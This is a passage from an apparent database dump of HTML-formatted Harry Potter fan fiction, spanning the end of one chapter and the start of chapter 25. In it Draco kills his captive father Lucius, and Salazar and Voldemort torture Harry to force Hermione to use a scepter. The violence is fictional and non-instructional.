style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He stepped closer to her and his hand went around her neck,\n&#8220;I suggest you cooperate if you know what&#8217;s good for you.&#8221;&nbsp; Lucius said as he watched silent tears\ntrickle from her eyes.&nbsp; &#8220;There now,\nthat&#8217;s what I want to see.&#8221; He smirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Please don&#8217;t hurt me.&#8221; She begged,\nfear clearly etched in her voice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Why not, I love hurting you.&#8221; He glanced about her neck\nwhere he had made his mark on her.&nbsp; They\nwere healing, he didn&#8217;t like that one bit.&nbsp; &#8220;It looks like I need to repair what that\nnurse was healing, she has no consideration for other peoples work.&#8221;&nbsp; He lifted his gaze catching her frightened\none.&nbsp; His hand left her neck to cover\nover her mouth, &#8220;As much as I would love to hear you scream I&#8217;m afraid that\nwon&#8217;t be in my best interest at the moment.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius then sunk his teeth into those same marks he had made\ndays before, her scream was muffled as the pressure and sharpness of his teeth\npierced her skin and she felt him sucking the blood from her once again. She\nwhimpered and squirmed.&nbsp; The tears of\npain and humiliation poured from her eyes.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione&#8217;s eyes widened more in fear when she saw Draco had\nsnuck in the room, fearing the worst from him.&nbsp;\nShe thought she had seen him smirk but it was gone too soon either that\nher mind was playing tricks on her.&nbsp;\nHermione closed her eyes tightly, a loud racket was made and several\nshouts from five different people, their voices were all mixed together, and\nLucius had been pulled away from her and was being pressed up against the wall\nby Ron and Harry.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She had never seen such rage on either Ron or Harry in her\nentire life.&nbsp; Ginny went through Lucius&#8217;s\npockets in his robe and found some keys.&nbsp;\nShe quickly stood on her tiptoes and unlocked Hermione&#8217;s wrists from the\ncuffs.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione sighed with relief as she rubbed her left wrist\nwith her right hand, the blood flowing back into her hands. &#8220;Thanks Ginny.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron and Harry had punched Lucius in the face many times;\nHarry had his arm pressed against Lucius&#8217;s neck cutting off his air\nsupply.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I should kill you.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Go ahead.&#8221; Lucius managed to choke out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry pressed harder against Lucius&#8217;s neck; he was going to\ndo it.&nbsp; He felt a hand on his arm he\nturned to find Ginny looking at him with sad eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry don&#8217;t, you&#8217;re not a murderer.&nbsp; He&#8217;s not worth\nit.&#8221; Ginny said glaring at Lucius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You weren&#8217;t there at all, Ginny, while Hermione was being\ntortured, I was. This asshole deserves to die.&#8221; Harry glared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;But this isn&#8217;t you Harry, you\ncouldn&#8217;t take another&#8217;s life.&#8221; Ginny spoke softly, &#8220;Just let him go.&nbsp; You can turn him over to the authorities;\nhe&#8217;ll be put in Azkaban and given the Dementors Kiss, which is worse than\ndeath.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry looked from Ginny to Lucius who was by now unconscious\nfrom the lack of air.&nbsp; He dropped his arm\nfrom Lucius&#8217;s neck and watched the evil man fall to the ground.&nbsp; &#8220;So what should we do with him until\nthen?&#8221;&nbsp; Harry glared down at the\nunconscious body.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione moved over next to Harry, and she was immediately\npulled into his arms.&nbsp; He leaned his chin\non top of her head and continued to glare at Lucius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Put him in the wrist cuffs like what he was doing to\nHermione.&#8221; Zara suggested.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Both Ron and Harry agreed and lifted Lucius so that he was\nstanding.&nbsp; The girls helped as they\nplaced his wrists in the cuffs, Ginny locked them with the keys that were still\nin her hand.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Draco smirked. &#8220;I&#8217;ll take care of him.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron and Harry exchanged an unsure look.&nbsp; &#8220;Don&#8217;t even think about letting him loose\nMalfoy&#8212;&#8221; Harry said but was rudely interrupted by Draco.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I wouldn&#8217;t dream of it.&#8221; Draco said with a sincere smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ginny approached Draco putting her hand on his shoulder,\n&#8220;what are you going to do with him Draco?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well my father and I are going to have a conversation, he\ncan&#8217;t beat me if he&#8217;s not free now can he.&#8221; Draco looked at Ginny with a gentle\nstatement on his face, &#8220;You go with your friends, I&#8217;ll\njoin you soon.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ginny smiled, she turned to find her friends going out of\nthe room and she followed after them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Draco&#8217;s smiled dropped from his face; he pulled a chair over\nand placed it in front of his unconscious father.&nbsp; He sat down, simply waiting until he came\nto.&nbsp; Draco leaned back in his chair as\nhis Lucius started to stir and wake.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius eyes opened and seated before him was his own\nungrateful son.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well this is an interesting situation now isn&#8217;t it?&#8221; Draco\nsaid leaning the other way regarding his father.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Release me at once.&#8221; Lucius demanded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Draco calmly stood.&nbsp;\nHe folded his hands behind his back and began pacing back and forth.\n&#8220;You know father?&nbsp; It&#8217;s really pathetic\nthat Potter and Weasley just beat the crap out of you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius glared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Draco smirked and pulled out a knife from his robes, &#8220;do you\nknow who gave me this?&#8221;&nbsp; He showed the\nweapon to his father. &#8220;I&#8217;ll tell you.&#8221; Draco paused a moment, &#8220;The ghost of\nRowena Ravenclaw gave me this Muggle knife.&nbsp;\nShe said I would know what to do with it when the time comes.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius knew what was going to happen,\nRowena informed him that history does repeat himself.&nbsp; He had prepared for that day a long time ago,\njust in case. &#8220;Are you going to stab me with that knife Draco?&nbsp; You&#8217;re not man enough to kill me.&nbsp; You are just pathetic and weak to attempt to\nkill someone bound to a wall.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;As if you&#8217;re any less pathetic.&nbsp; The way you treat people when they are bound\nto something is rather weak.&nbsp; You know\nthat Mudblood Granger is clever she would be able to get one over on you\neventually.&nbsp; That&#8217;s why you feel the need\nto make sure she has no way to fight back.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You sound like you care for the foolish Mudblood.&#8221; Lucius\nsmirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Draco&#8217;s head flew back in a cold, cruel laughter. &#8220;I&#8217;ll just\nsay I have less hatred towards her than I do you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So what are you waiting for Draco, kill me.&nbsp; Prove to me that you are indeed my son.&#8221;\nLucius snarled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Draco knew his father was only saying this to throw him off;\nhe was going to do it.&nbsp; &#8220;I am your son, there&#8217;s\nno doubt about that.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You can kill me today Draco, but you&#8217;ll never truly be rid\nof me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;That&#8217;s what you think.&#8221; Draco glared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You and your little red headed bitch will suffer. She will\ndie.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Draco looked to the floor he was so full of rage he couldn&#8217;t\neven calm his nerves as he gripped the knife tighter. &#8220;Big\nmistake Lucius.&#8221; Draco sneered.&nbsp;\nNo one but him was allowed to threaten anyone he cared for, that is if\nhe ever chose to threaten his lover.&nbsp;\nThis just pushed his decision to kill Lucius; he&#8217;s been meaning to do it\nfor some time now.&nbsp; Draco lifted the\nknife in his hand and stabbed it into Lucius&#8217;s chest to the hilt.&nbsp; He left the weapon in for a little bit as he\nwatched his father&#8217;s eyes start drift closed.&nbsp;\nHe pulled the knife out and stabbed it in again.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He removed the knife and lifted up the hem of Lucius&#8217;s robe\nand wiped the blood from the blade and placed it in a sheath and tossed it on\nthe bed.&nbsp; The ghost would probably want\nit back eventually.&nbsp; He looked at his\nfather one last time, an evil smirk crossed Draco&#8217;s flawless face and he turned\nleaving the room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Draco rounded the corner and came face to face with\nVoldemort. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ah, young Mr. Malfoy.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Draco glared, &#8220;sir.&#8221; He bowed mockingly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Voldemort would ignore this insolence, for now.&nbsp; He noticed the blood on his clothing.&nbsp; &#8220;So my heir I see that you managed to kill\noff your father, interesting.&#8221; Voldemort said.&nbsp;\nHe continued on his way down the corridor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Draco shook his head thinking that was odd, &#8216;<i style="mso-bidi-font-style:normal">How did he know I was going to kill my father?&#8217;\n</i>&nbsp;He shrugged oh well, and also\nstarted down in the other direction.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He came upon another long hallway and found Ginny and her\nfriends looking through a slightly open door.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ginny move I can&#8217;t see.&#8221; Zara whispered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I don&#8217;t see how, you have those huge heels on how could you\nnot be able to see?&#8221; Ginny whispered back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well if you didn&#8217;t have you hair up in that damn ponytail\non the top of your head I&#8217;d be able to see better.&#8221; Zara whispered but her\nvoice was rising.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Both Ron and Harry turned around glaring at them &#8220;Shhhhh.&#8221; The both said and at the same time putting their\nfingers to their lips in a quieting fashion.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione pointed towards Salazar and the familiar ghost, &#8220;Oh\nlook isn&#8217;t that Rowena?&#8221; She whispered in anger.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron looked down at the top of Hermione&#8217;s head, &#8220;Uh there&#8217;s\nsomething you two need to know, Rowena is on the other side.&#8221; Ron whispered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Both Harry and Hermione looked at each other, the same\nstatement mirrored in each other&#8217;s gaze. They had been betrayed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;&#8220;No wonder she was so\nbent on my putting on that necklace the first time I met her.&nbsp; She probably needed to see if I had the soul\nof her daughter in my body.&#8221;&nbsp; Her eyes\nnarrowed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Not to mention the whole going for the scepter for the good\nof humanity.&#8221; Harry said shaking his head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;She&#8217;s gonna pay for that.&#8221; Hermione whispered bitterly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Just how is she going to do that? She is a ghost.&nbsp; There is nothing you can do to her.&#8221; Ginny\nsaid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What&#8217;s going on?&#8221; Ginny heard Draco&#8217;s voice in her ear.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Draco was walking closer to them when he tripped and fell\nonto them pushing them noisily through the door.&nbsp; The door opened all the way and banged loudly\nagainst the wall in the room, making a large clanking noise. Salazar and Rowena\nturned to find six teenagers lying on the floor in a heap.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well look at what we have here.&#8221; Salazar said with a smirk.\n&#8220;Reporting in for your torture Mudblood?&nbsp;\nCouldn&#8217;t wait to get started again I see.&#8221; He said looking down at\nHermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The room echoed with the laughter of Death Eaters.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;&#8220;Oh I suppose you all\nwould like a dose of it, since you are all here.&nbsp; The more the merrier I always say.&#8221; Salazar.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The Death Eaters continued to laugh as the six teenagers all\nlooked up at their laughing faces.&nbsp; Ice\ncold chills ran down each of their spines.&nbsp;\nThey were all outnumbered.&nbsp; They\nwould not escape now.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">======</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Oh Draco you bad boy for killing your father, I hope it\ndoesn&#8217;t come back to you one day.&nbsp; Well\nstay tuned for chapter 25&#8212;You&#8217;ve Got Soul.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(41, 25, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp; Disclaimer:\nAlright all the Harry Potter characters belong to J.K. Rowlings,\nexcept for the plot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,,\nLeelee, Kai, Finley and Orvin.&nbsp; Those are\nmine. So please don&#8217;t sue me because I don&#8217;t have anything</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">Chapter 25&#8212;You&#8217;ve\nGot Soul.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">The room\nechoed loudly with the sound of Death Eater laughter. The group was pulled to\ntheir feet as the Death Eaters approached and held them in place.&nbsp; Ron&#8217;s bag was ripped from his arm and thrown\nfar across the room.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Rowena floated in between Salazar and the group; she was\ngetting nasty glares from all of them.&nbsp;\nRowena simply laughed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Salazar pulled out a small box and opened it. He showed it\nto them; inside it were Harry and Hermione&#8217;s wands.&nbsp; He lifted out Harry&#8217;s wand, and handed it to\nVoldemort who was next to him, &#8220;I think you would like to use this.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Voldemort chuckled as he accepted the wand. He and Salazar\nwere distracted for a moment.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione, agree to use the scepter and just will Salazar\nSlytherin dead, okay?&#8221; Ron said quietly, &#8220;I talked to Jasmine Ravenclaw in a\nliving Diary, she told me whatever the holder of the scepter wants will become\nreality.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Rowena stopped listening to Hermione and Ron&#8217;s conversation\nand hovered near Salazar, she leaned closer to his ear.&nbsp; &#8220;The girl has no idea that the scepter can be\nused to control many minds at once, use that angle.&nbsp; She will do what I&#8212;uh you want.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;How is that possible Rowena, the torture didn&#8217;t work on\nher.&nbsp; She&#8217;s just as stubborn as Jasmine\never was.&#8221; Salazar said quietly with annoyance clear in his cold voice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Rowena&#8217;s eyes narrowed with a devilish scheme in her mind,\n&#8220;You were torturing the wrong person.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Salazar turned towards Rowena throwing her and odd look, &#8220;I\nhave never tortured the wrong person.&nbsp; I\njust have to try harder she will eventually break.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Rowena shook her head back and forth, &#8220;You know she won&#8217;t&#8221;\nShe paused with smirk planted on her pretty face. &#8220;I know the way to get her to\nobey you Salazar.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Salazar was growing impatient. &#8220;Stop keeping me in suspense\nwench, just tell me!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Don&#8217;t raise your tone with me Salazar or you&#8217;ll be figuring\nthis out for a long time.&nbsp; Without my\nbrain, you are nothing.&#8221; She glared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Salazar sucked in a deep breath; he was so very irritated by\nher that maybe if he did turn her into flesh and blood it would be a real treat\njust to kill her. After he had his fill of her body of\ncourse.&nbsp; &#8220;Alright, I&#8217;m sorry for\nyelling at you, would you kindly tell me what&#8217;s going on in that pretty mind of\nyours?&#8221; He tried not to sound condescending but it was almost\nimpossible.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Rowena rolled her eyes &#8220;Take a moment Salazar, think really\nhard. I know that&#8217;s quite a chore for you.&nbsp;\nBut how else can you get that wretched girl to obey you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">His mind was working; he could actually feel it trying to\ncome up with the answer. Salazar looked over at the six youths, watching them\ncarefully. He paced a bit trying to remember the past, <i style="mso-bidi-font-style:\nnormal">history does repeat itself</i> his mind shouted to him.&nbsp; He looked at the teenagers again and an idea\nflashed in his head. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;Hermione, Ron and\nHarry were talking quietly amongst themselves, as were Ginny, Draco and\nZara.&nbsp; Draco and Zara were throwing\ninsults back and forth while Ginny was growing impatient.&nbsp; She felt like hurting them both they were\ngetting so annoying at this moment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Draco you know I care about you but please shut up.&nbsp; We need to think of a way out of here, you\ntwo shouldn&#8217;t be arguing like that.&#8221; Ginny said her voice trimmed with\nannoyance. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ah mind your own business Ginny.&#8221; Zara said bitterly, &#8220;I\nwas trying to think of way out of here.&nbsp;\nYou are starting to get on my nerves.&nbsp;\nTrying to be in charge, you don&#8217;t have what it takes to be in control.&#8221;\nZara snapped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ginny was loosing it, her anger was growing she would have\nsaid what was on her mind if it hadn&#8217;t been for Salazar&#8217;s echoing angry voice\nblasting away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;SILENCE!!&#8221;&nbsp; Salazar shouted causing them to be\nsilent.&nbsp; He stepped up to Hermione. &#8220;I know\nwhat you are mumbling about it will do you no good.&#8221; He started pacing in front\nof them.&nbsp; Then out of no he smirked while\npointing a finger in Harry&#8217;s face, &#8220;You will convince the Mudblood to help me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry crossed his arms over his chest, &#8220;First of all her\nname is not Mudblood.&#8221; He spat bitterly, &#8220;It&#8217;s\nHermione. Got it.&#8221; His eyes narrowed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Filth like that doesn&#8217;t deserve to have a name.&#8221; Salazar\nsaid with revulsion.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;And second,&#8221; Harry continued. &#8220;You should know by now that\nI would not convince her to do anything that concerns helping you achieve\nultimate power.&#8221; Harry glared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You will help me, It&#8217;s the same\nthing I told the Mudblood.&nbsp; It&#8217;s not a\nchoice.&#8221; Salazar said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry carefully watched Salazar walk over to Voldemort and\nwhisper something in his ear; he saw the Dark Lord&#8217;s face scrunch up into a\ndelightful grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Voldemort made his way over to Harry and his friends.&nbsp; Harry was struggling a bit in the Death\nEater&#8217;s grasp but he couldn&#8217;t move away as Voldemort grabbed onto Harry&#8217;s arm\nand turned it over&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Salazar looked right at Hermione, &#8220;Use the scepter, or he.&#8221;\nHe pointed at Harry, &#8220;Will suffer.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione went wide-eyed, she saw Harry shake his head no and\nshe glanced up at Salazar. &#8220;I will not help you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Salazar gave a signal and Voldemort plunged the end of wand\ninto Harry&#8217;s arm.&nbsp; Voldemort whispered a\nheat spell.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">It felt like fire was running through him, Harry couldn&#8217;t\nhelp but yell out his agony, as he tried to sink to his knees but the Death\nEater wouldn&#8217;t let him drop.&nbsp; Voldemort\nstopped the spell and moved to his other arm doing the same thing.&nbsp; Once again Harry felt the fire running\nthrough him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">This was the one thing Hermione couldn&#8217;t fight against, it\nwas too much.&nbsp; Sure they could hurt her\nuntil she died, but hurt someone she cared about.&nbsp; Hermione tried her hardest to resist but this\ntime her resistance couldn&#8217;t hold up, she heard his voice in her ears and her\nheart couldn&#8217;t take it &#8220;All right!&nbsp; All right.&#8221; She squinted her eyes\ntightly as to not see the disappointed look that she was sure on those of her\nfriends.&nbsp; &#8220;I&#8217;ll do it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Voldemort stopped the spell and gave a nod as the Death\nEater let Harry finally fall to his knees. &#8220;I don&#8217;t like Muggle torture I think\nwizards should never use Muggle ways to get things done.&#8221; He said it as if he\nwere talking about the weather. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Salazar smirked and with a nod the Death Eater brought\nHermione closer.&nbsp; And he placed the\nscepter in her hand. &#8220;If you attempt to deceive me Mudblood, he will die.&#8221;</p>\n\n<p class="MsoNormal" 